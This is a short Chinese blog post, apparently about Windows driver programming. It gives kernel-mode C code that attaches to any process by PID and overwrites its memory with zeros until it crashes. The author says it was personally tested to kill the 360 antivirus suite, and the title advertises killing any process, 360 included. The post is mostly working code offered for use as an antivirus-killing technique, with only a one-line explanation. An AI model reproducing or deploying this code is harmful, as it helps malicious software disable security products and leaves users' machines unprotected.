废话不多说 先上代码。

static void DProKill(HANDLE pid){

PEPROCESS pe = DProPid2Eprocess(pid);

if (NULL == pe) {

return ;

}

KeAttachProcess(pe); //这里改为指定进程的 EPROCESS

 

for(int i=0x10000;i<0x20000000;i+=PAGE_SIZE) {

__try {

memset((addr_t)i,0,PAGE_SIZE); //把进程内存全部置零

}

_except(1) {

;

}

}

 

KeDetachProcess();

}

static PEPROCESS DProPid2Eprocess(HANDLE pid){

PEPROCESS ret = NULL;

if (NT_SUCCESS(PsLookupProcessByProcessId(pid,&ret))){

return ret;

}

return NULL;

}

 

 

原理就是到目标进程空间各种破坏内存,让其崩溃,亲测360可杀。

欢迎关注 windows驱动编程微信公众号,微信号:driverdevelop

windows内核中杀任意进程,可杀360!

相关文章:

  • 2022-12-23
  • 2021-09-22
  • 2021-09-22
  • 2022-01-21
  • 2022-12-23
  • 2021-11-26
  • 2022-02-28
  • 2022-12-23
猜你喜欢
  • 2021-12-04
  • 2022-01-03
  • 2022-12-23
  • 2022-01-03
  • 2021-07-15
  • 2022-03-04
  • 2022-01-31
相关资源
相似解决方案